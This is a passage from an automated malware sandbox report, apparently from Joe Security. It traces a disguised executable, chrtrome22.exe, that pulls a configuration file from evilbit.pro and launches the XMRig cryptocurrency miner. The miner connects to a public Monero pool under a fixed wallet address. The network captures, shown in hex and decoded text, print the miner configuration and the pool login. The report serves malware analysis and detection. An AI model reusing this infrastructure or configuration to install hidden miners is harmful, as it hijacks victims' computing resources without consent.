2025-01-09 07:42:11 UTC	1378	IN	Data Raw: e3 f3 a7 00 d6 c7 98 eb 9e db 1e ce 0d 33 ae d3 d7 1b 09 75 eb 5e 60 a5 79 53 a4 25 f0 84 9d a3 7a fb 38 79 91 3a 3b 67 35 2c 18 2b 62 e8 a3 8a a2 3d 99 c5 56 35 8e 1d 4c 5b f7 b1 69 d2 b7 95 18 ec 17 ff f4 b2 c0 69 5b 97 32 89 50 d4 9b 45 16 a1 89 9b 18 e9 25 82 af 7c b6 1f f8 40 5b a7 d0 e9 19 9d dc 4c a9 d6 f0 f3 dc ff 86 f6 61 ac a2 7f 79 b8 6e 90 f7 49 a7 d0 1d 57 3c 97 3c 5a 30 7b cb a9 6c 93 f7 0d 36 fb f1 4b c2 cc d9 9e 6a b3 1c 8a 8c ec db 0f e9 8a 1c 0b b4 69 d6 5e b8 fa c4 78 42 90 99 c9 67 10 c0 03 20 80 bb b8 01 3c 95 b1 c6 e3 8e 69 2a ce 0c e0 d5 7f 71 00 83 4d 9d 0a 60 7e 17 2a 95 81 84 ee 1c 58 6e 2a d0 66 4d 13 46 1a bf 06 ad 0e 5e 1b bf 14 af 03 83 02 82 16 af 0b e3 b5 f5 f1 78 0e 09 47 22 b1 38 d5 5d 69 46 77 0e e2 e4 47 63 50 48 34 3a Data Ascii: 3u^`yS%z8y:;g5,+b=V5L[ii[2PE%\|@[LaynIW<<Z0{l6Kji^xBg <iqM`~Xn*fMF^xG"8]iFwGcPH4:
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 9f d4 1f c5 b6 ec 70 9a 73 37 39 bc b1 4e d1 65 37 29 5f 72 fd d9 d3 3d c1 ea 5a 4a 31 c7 16 3b 17 4c a4 38 aa 99 10 0f 25 2c 28 9a 7c 15 b7 31 af d9 b2 6b 9f 92 cb 96 de 1c d6 c4 a3 6b b8 96 93 5b 9c 0b b5 82 8c 4b 97 74 2d d9 9e 6e bf 59 d6 50 79 e1 e7 7b 65 e1 a4 84 6b fd bd b2 b6 03 95 63 8c de e4 67 2e 1a c7 8d 43 26 8c 57 d6 a0 dc 92 b3 b4 eb 73 ae 6f 0f 80 8b f6 77 ce cf 9d 2c d5 ac f9 1d 8b 71 ef 81 f2 41 a9 e6 cf e7 5d 4f 8a c3 89 18 31 10 fb 63 3f c4 be 78 f6 70 62 ce 8c d5 fa 77 bc 6d a7 4e ed da e0 8c 6e f8 43 56 e0 92 30 15 2f 09 4b 4c 69 12 fc ae 09 bf 08 56 9f b2 73 de 34 f5 6e e4 70 12 ce 95 e1 17 1e 81 84 33 21 8a 11 02 4e f6 8c 68 44 78 fa 71 7e 2e 03 c8 d1 a7 c4 82 a8 a6 d3 5c 2d 80 1a fe 9b 29 a0 e3 ca 1c ba 42 31 fb 61 4b 99 75 62 13 Data Ascii: ps79Ne7)_r=ZJ1;L8%,(\|1kk[Kt-nYPy{ekcg.C&Wsow,qA]O1c?xpbwmNnCV0/KLiVs4np3!NhDxq~.\-)B1aKub
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 10 25 3d 3a d1 77 b1 5d 29 2d c3 70 fd ab d9 89 ad 92 19 bb 3a 03 08 03 9b de 9f a9 0a 93 6e 31 90 3c bd 43 c8 9f 2f ed fe 23 8b 38 f1 a3 4e 2a 2c df 7b bc 63 5e 47 a4 2a 62 dc 69 42 b9 cf cf 7f e1 8d c8 24 ed e7 9d 7b f8 3e ff 49 db d5 0f 2e 1a 06 1b 5f 60 c0 89 bc 71 20 47 04 4f e5 08 41 3f a1 b8 50 08 29 72 33 53 44 dc b4 f0 5b e5 fa f5 7d 8d 95 14 5c ed c7 09 61 06 95 f2 f5 ae c0 0f ee 0a a4 c0 70 2a 25 10 af 08 cf 9d 8a 52 69 7b 72 00 8d 4a a7 06 81 5b 02 95 16 41 a5 f9 31 c8 a0 87 3a bc 60 2a 24 71 d3 db 03 49 38 77 12 0d f9 09 0c 91 9a 3a 9a 70 f2 c3 52 58 4f 5b 07 af 0f c3 7a 78 24 3f 70 49 3c 42 fe f3 ae 34 bf 95 13 ee 88 3e cb cb e8 3c f4 c4 71 db 96 cf a3 ac 24 d5 d0 e7 44 a5 51 8d f2 da 1c 09 cc d9 91 80 ee c7 c1 41 5d 73 ef 77 cd 21 2e 7a 95 Data Ascii: %=:w])-p:n1<C/#8N,{c^GbiB${>I._`q GOA?P)r3SD[}\ap%Ri{rJ[A1:`$qI8w:pRXO[zx$?pI<B4><q$DQA]sw!.z
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 72 59 fe 32 4f c1 1b 75 2b 9d 67 63 1c ba 46 7c 2b d7 9a d4 77 46 df 90 73 8f 7d 97 16 d5 bd dd d7 3d bb 9d af 53 74 b2 e2 42 dd b6 32 5a 6f 92 88 e8 d6 15 1b 29 dd 52 c7 4d 4b 12 42 ca fb af 9f 33 19 22 c7 bf 70 09 ec fe 90 74 c3 ca 5d d8 f3 88 d9 ab 0f 77 d4 f4 9c cd 1c 0f 7f 5a 51 32 a6 57 bd a8 b4 79 27 39 6c bd 62 f7 97 09 ac d3 22 61 47 a9 e7 89 91 d5 75 b6 93 68 6b fd 72 fc 85 d8 da 87 ed 78 23 73 4b 95 83 89 e8 1e 70 55 ef fe be 7a 7c f8 44 74 33 60 9d 43 7c 20 21 fe df 70 45 ff e1 8b c1 74 97 48 44 c9 c0 b2 d3 5d 40 e8 1b c1 8f 82 e7 7e 6f e1 c5 8b 71 7e 8c d3 d7 06 9f f9 75 60 1d 03 cf 9f fc a3 9e fa 49 ed d1 b0 45 76 c3 aa 48 72 db 4d a1 83 6d ce 31 4b e1 84 2a 3e a1 af 52 e2 68 61 3c b8 71 26 1c 82 13 0a e0 84 7d 18 a9 74 87 f2 88 ed 94 36 b7 Data Ascii: rY2Ou+gcF\|+wFs}=StB2Zo)RMKB3"pt]wZQ2Wy'9lb"aGuhkrx#sKpUz\|Dt3`C\| !pEtHD]@~oq~u`IEvHrMm1K*>Rha<q&}t6
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 2a 19 18 19 25 10 d5 6f 4f 97 a4 ab 09 39 22 90 0c bf 3d 33 d7 c0 48 fd 04 46 b2 fd f6 9c 6c 41 23 0b 9a 15 fe a2 02 d2 79 4c 37 02 07 31 58 54 0c c0 5f 54 82 df 3c 81 3f 22 f0 2d 8c 6f 65 fa ae 84 5f 2f f0 6d 8c 6f 27 bc 5b cf 5c e0 1b 26 30 5e ca b8 0f bf cb bb f6 20 fc 17 02 af 62 bc 1a bf 73 4d dd 08 8f 11 7c 6a 18 af c3 ef 7d 82 cf 1f 05 7d 80 f1 46 fc 2e 15 78 9a c0 9b 18 97 50 f3 2b 05 de 4d e0 f1 06 c2 4d 3c 84 74 9f 0b fc d4 1d 8c 27 30 6e 66 bc 07 e1 8f 0b fa 24 c6 53 18 ef 46 f8 20 81 a7 32 2e c6 4c 79 11 f0 ef 09 3e 2a e3 e9 8c f7 5c 0c fc b4 c0 33 80 ec 48 01 18 d8 f1 bd d1 68 9e 8d aa 07 b0 35 1e 5f 53 96 df 9a 60 30 a8 9e b8 17 6b 36 4a aa 77 66 62 8e e3 e5 a9 e2 13 e7 f4 0e df 0a d4 3e 34 28 f7 b7 49 92 53 7b dd a9 55 aa de 29 89 19 01 df Data Ascii: %oO9"=3HFlA#yL71XT_T<?"-oe_/mo'[\&0^ bsM\|j}}F.xP+MM<t'0nf$SF 2.Ly>\3Hh5_S`0k6Jwfb>4(IS{U)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.144.26	443	6568	C:\Users\user\Desktop\chrtrome22.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:42:13 UTC	166	OUT	GET /config.json HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682 Host: evilbit.pro Connection: Keep-Alive
2025-01-09 07:42:14 UTC	865	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 07:42:14 GMT Content-Type: application/json Content-Length: 584 Connection: close Last-Modified: Sat, 04 Jan 2025 09:38:19 GMT ETag: "248-62ade27cedc25" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h3QCRk7yZD%2Bl7Wytl9VXstsVq4igB2peTjPvaQXJ5QPCTLiscfPASPUHVJTRVVMUmDR5rIyCeM%2B9YZY0%2BAkCMWV0bWaPMMwBuJU5miOey6HyKtjeErtAgFysL2BG4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff2ca1a8b4d42e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1714&min_rtt=1702&rtt_var=663&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=780&delivery_rate=1621321&cwnd=209&unsent_bytes=0&cid=6ccff0f94d5fc7b3&ts=460&x=0"
2025-01-09 07:42:14 UTC	504	IN	Data Raw: 7b 0a 20 20 20 20 22 61 75 74 6f 73 61 76 65 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 63 70 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 6f 70 65 6e 63 6c 22 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 22 63 75 64 61 22 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 22 70 6f 6f 6c 73 22 3a 20 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 70 6f 6f 6c 2e 73 75 70 70 6f 72 74 78 6d 72 2e 63 6f 6d 3a 34 34 33 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 75 73 65 72 22 3a 20 22 34 35 4c 75 34 5a 7a 63 70 36 34 65 74 64 6f 56 6e 63 39 6a 53 55 38 34 57 42 79 67 43 37 70 35 6d 64 72 6f 77 5a 69 63 36 4c 56 44 5a 45 52 73 44 73 7a 46 67 63 52 63 46 36 33 47 6d 36 6b 56 63 37 58 73 76 67 70 76 68 48 33 36 53 4e 66 43 6d 55 Data Ascii: { "autosave": true, "cpu": true, "opencl": false, "cuda": false, "pools": [ { "url": "pool.supportxmr.com:443", "user": "45Lu4Zzcp64etdoVnc9jSU84WBygC7p5mdrowZic6LVDZERsDszFgcRcF63Gm6kVc7XsvgpvhH36SNfCmU
2025-01-09 07:42:14 UTC	80	IN	Data Raw: 50 56 54 61 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 65 70 61 6c 69 76 65 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 6c 73 22 3a 20 74 72 75 65 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 5d 0a 7d 0a Data Ascii: PVTa", "keepalive": true, "tls": true } ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	141.94.96.144	443	2312	C:\xmrig\xmrig-6.22.2\xmrig.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:42:16 UTC	561	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 35 4c 75 34 5a 7a 63 70 36 34 65 74 64 6f 56 6e 63 39 6a 53 55 38 34 57 42 79 67 43 37 70 35 6d 64 72 6f 77 5a 69 63 36 4c 56 44 5a 45 52 73 44 73 7a 46 67 63 52 63 46 36 33 47 6d 36 6b 56 63 37 58 73 76 67 70 76 68 48 33 36 53 4e 66 43 6d 55 41 62 31 54 77 62 53 47 37 50 56 54 61 22 2c 22 70 61 73 73 22 3a 22 78 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 32 32 2e 32 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 34 39 2e 32 20 6d 73 76 63 2f 32 30 31 39 22 2c 22 61 6c 67 6f 22 3a 5b 22 63 6e Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"45Lu4Zzcp64etdoVnc9jSU84WBygC7p5mdrowZic6LVDZERsDszFgcRcF63Gm6kVc7XsvgpvhH36SNfCmUAb1TwbSG7PVTa","pass":"x","agent":"XMRig/6.22.2 (Windows NT 10.0; Win64; x64) libuv/1.49.2 msvc/2019","algo":["cn
2025-01-09 07:42:16 UTC	539	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 62 61 65 30 36 64 66 64 2d 38 38 32 32 2d 34 62 64 33 2d 61 37 30 34 2d 35 37 66 63 33 38 61 30 32 63 39 32 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 31 66 62 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 32 31 33 64 34 34 34 61 35 39 31 32 65 37 34 62 33 66 32 33 62 38 31 64 62 66 37 63 39 30 30 61 39 35 33 39 63 32 36 64 66 62 33 36 66 36 62 30 35 63 66 38 39 63 32 33 63 32 31 61 30 65 64 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"bae06dfd-8822-4bd3-a704-57fc38a02c92","job":{"blob":"1010d1fbfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea300000000213d444a5912e74b3f23b81dbf7c900a9539c26dfb36f6b05cf89c23c21a0ed
2025-01-09 07:42:21 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 64 66 62 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 38 39 30 31 39 64 34 38 30 37 66 36 61 32 66 62 65 38 65 36 65 38 34 30 65 66 38 36 35 38 36 32 35 30 62 31 35 33 66 31 39 33 38 37 38 39 32 34 65 62 64 31 63 39 62 34 34 66 63 64 64 65 33 66 31 32 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 4f 56 58 75 36 48 75 73 4c 51 2b 74 35 4b 49 30 65 54 50 63 77 4c 53 2b 66 48 6b 32 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010ddfbfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea30000000089019d4807f6a2fbe8e6e840ef86586250b153f193878924ebd1c9b44fcdde3f12","job_id":"OVXu6HusLQ+t5KI0eTPcwLS+fHk2","target":"8
2025-01-09 07:42:28 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 64 66 62 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 38 33 65 36 33 38 61 64 37 35 37 36 65 64 31 62 62 39 64 35 64 30 63 36 62 30 31 63 63 61 39 66 35 31 36 61 65 62 31 34 36 32 36 31 61 31 36 64 66 38 32 65 66 61 61 38 36 38 38 36 31 32 62 33 31 32 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 4b 38 4a 6a 57 68 57 61 46 78 34 65 6e 33 71 78 77 2f 58 2f 75 67 59 2f 78 70 37 4d 22 2c 22 74 61 72 67 65 74 22 3a 22 63 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010ddfbfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea30000000083e638ad7576ed1bb9d5d0c6b01cca9f516aeb146261a16df82efaa8688612b312","job_id":"K8JjWhWaFx4en3qxw/X/ugY/xp7M","target":"c
2025-01-09 07:42:33 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 39 66 62 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 39 34 30 61 30 38 35 39 64 38 31 34 62 30 37 62 65 38 37 32 64 32 66 63 62 63 61 39 37 62 34 61 31 33 62 30 36 62 35 61 38 39 63 33 33 34 66 32 38 31 64 64 65 35 34 62 38 32 31 61 38 32 35 34 31 34 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 65 68 46 76 54 78 2b 48 44 43 6c 68 59 67 35 6c 53 72 51 78 4e 71 4d 32 4d 51 73 52 22 2c 22 74 61 72 67 65 74 22 3a 22 63 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010e9fbfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea300000000940a0859d814b07be872d2fcbca97b4a13b06b5a89c334f281dde54b821a825414","job_id":"ehFvTx+HDClhYg5lSrQxNqM2MQsR","target":"c
2025-01-09 07:42:46 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 36 66 62 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 66 31 31 32 32 36 31 65 62 36 39 30 31 63 31 66 63 62 61 62 63 63 62 34 36 65 36 30 61 39 64 31 36 62 39 35 33 30 62 38 37 62 33 31 31 64 65 61 62 66 37 63 32 63 33 66 65 38 30 33 36 37 36 33 31 37 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 37 37 52 39 63 34 61 53 48 62 34 59 72 68 36 6e 31 63 37 4f 69 55 6e 2f 67 78 4e 54 22 2c 22 74 61 72 67 65 74 22 3a 22 63 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010f6fbfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea300000000f112261eb6901c1fcbabccb46e60a9d16b9530b87b311deabf7c2c3fe803676317","job_id":"77R9c4aSHb4Yrh6n1c7OiUn/gxNT","target":"c
2025-01-09 07:42:59 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 32 66 63 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 64 34 30 37 31 65 39 64 64 62 32 31 37 65 37 36 66 37 66 66 32 66 38 30 31 35 34 37 66 36 66 64 61 34 65 64 61 35 62 61 63 35 34 63 36 35 65 34 65 62 64 33 36 32 38 63 64 31 39 31 38 65 66 63 31 62 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 43 63 63 6b 69 4f 2b 37 72 59 78 31 74 2f 64 78 78 4c 70 71 57 6d 4a 34 2b 71 41 58 22 2c 22 74 61 72 67 65 74 22 3a 22 63 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101082fcfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea300000000d4071e9ddb217e76f7ff2f801547f6fda4eda5bac54c65e4ebd3628cd1918efc1b","job_id":"CcckiO+7rYx1t/dxxLpqWmJ4+qAX","target":"c
2025-01-09 07:43:15 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 32 66 63 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 38 62 39 65 31 64 62 31 33 62 63 37 31 31 32 65 36 64 37 64 38 36 37 33 38 62 30 64 38 34 33 65 32 62 65 65 39 66 37 30 36 64 33 31 39 37 32 66 61 35 34 61 37 39 63 36 38 62 64 31 65 66 63 30 31 65 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 53 61 31 6a 76 64 58 45 68 30 71 6a 43 78 32 68 6a 67 47 52 4d 4a 32 49 76 6c 6b 56 22 2c 22 74 61 72 67 65 74 22 3a 22 63 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101092fcfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea3000000008b9e1db13bc7112e6d7d86738b0d843e2bee9f706d31972fa54a79c68bd1efc01e","job_id":"Sa1jvdXEh0qjCx2hjgGRMJ2IvlkV","target":"c
2025-01-09 07:43:25 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 63 66 63 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 62 33 65 66 38 32 35 30 32 62 36 32 30 64 30 63 30 64 31 36 35 30 35 36 34 64 38 33 30 35 62 63 32 61 65 30 39 39 63 36 39 64 66 64 65 62 61 32 31 39 38 34 39 34 64 38 63 64 63 65 61 66 30 62 32 32 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 45 56 6b 4d 52 47 63 65 2f 37 59 44 32 4f 4a 47 74 52 31 4d 46 62 33 53 57 63 2f 6d 22 2c 22 74 61 72 67 65 74 22 3a 22 63 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10109cfcfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea300000000b3ef82502b620d0c0d1650564d8305bc2ae099c69dfdeba2198494d8cdceaf0b22","job_id":"EVkMRGce/7YD2OJGtR1MFb3SWc/m","target":"c
2025-01-09 07:43:28 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 63 66 63 66 64 62 62 30 36 31 38 62 37 30 32 39 61 35 31 65 36 33 34 39 36 30 31 30 30 64 38 34 65 35 35 30 62 65 65 64 66 66 31 35 39 63 36 38 34 35 35 33 36 64 33 30 39 32 30 64 30 63 36 31 39 34 66 61 65 36 65 61 33 30 30 30 30 30 30 30 30 36 38 61 32 38 38 62 65 61 34 32 35 63 36 61 62 35 62 61 30 35 35 35 31 30 63 65 31 35 61 64 63 66 33 64 34 37 39 35 30 65 64 35 33 38 64 66 31 65 61 62 35 61 33 35 64 31 66 66 30 36 62 39 37 32 32 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 52 47 59 65 44 4f 63 37 43 38 4f 31 43 52 58 5a 69 46 68 31 57 53 69 62 65 70 33 4a 22 2c 22 74 61 72 67 65 74 22 3a 22 32 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10109cfcfdbb0618b7029a51e634960100d84e550beedff159c6845536d30920d0c6194fae6ea30000000068a288bea425c6ab5ba055510ce15adcf3d47950ed538df1eab5a35d1ff06b9722","job_id":"RGYeDOc7C8O1CRXZiFh1WSibep3J","target":"2

Target ID:	0
Start time:	02:42:05
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\chrtrome22.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\chrtrome22.exe"
Imagebase:	0x620000
File size:	13'312 bytes
MD5 hash:	AE96B1FB65498CDF458A52BC197466A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000002.1755040993.0000000002E19000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000002.1755040993.0000000002E39000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000002.1755040993.0000000002E25000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000002.1759218717.000000001D265000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:42:05
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:42:14
Start date:	09/01/2025
Path:	C:\xmrig\xmrig-6.22.2\xmrig.exe
Wow64 process (32bit):	false
Commandline:	"C:\xmrig\xmrig-6.22.2\xmrig.exe" --config=C:\xmrig\xmrig-6.22.2\config.json
Imagebase:	0x7ff640ec0000
File size:	6'412'800 bytes
MD5 hash:	F6D520AE125F03056C4646C508218D16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000002.4117633923.000002B86C509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000000.1753744579.00007FF641770000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000002.4117633923.000002B86C5AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000002.4117633923.000002B86C4DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000002.4117633923.000002B86C52A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 